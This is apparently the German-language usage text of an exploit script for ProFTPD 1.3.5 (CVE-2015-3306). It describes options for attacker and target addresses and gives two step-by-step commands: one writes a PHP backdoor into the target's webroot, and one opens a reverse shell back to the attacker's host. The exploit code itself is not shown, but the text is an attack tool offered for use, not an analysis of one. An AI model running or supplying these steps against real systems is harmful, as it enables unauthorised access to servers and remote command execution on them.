
Exploit für ProFTPD 1.3.5 CVE-2015-3306, der eine PHP-Hintertür in das Webroot des Zielsystems schreibt und eine Reverse Shell für die Remote-Codeausführung startet.
ProFTPd 1.3.5 RCE
Verwendung: ProFTPD.py [Optionen]
Optionen:
-h, --help zeigt diese Hilfemeldung an und beendet
-l LHOST, --lhost=LHOST
Lokale IP erforderlich für Reverse Shell,
-p LPORT, --lport=LPORT
Port erforderlich für Reverse Shell,
-t TARGET, --target=TARGET
Angreifbares Ziel,
-d DIRECTORY, --dir=DIRECTORY
WebRoot-Verzeichnis zum Hochladen der Backdoor, Standard: /var/www/html
-c COMMAND, --command=COMMAND
Systembefehl,
-f FILE, --file=FILE
Backdoor-Name, Standard: shell.php.
SCHRITT 1 - Backdoor auf Zielmaschine schreiben!
Verwendung: python3 exploit.py -t 10.x.x.x -f cmd.php -d '/var/www/html'
SCHRITT 2 - Shell holen!!
Verwendung: python3 exploit.py -t 10.x.x.x --lhost 172.x.x.x --lport 4242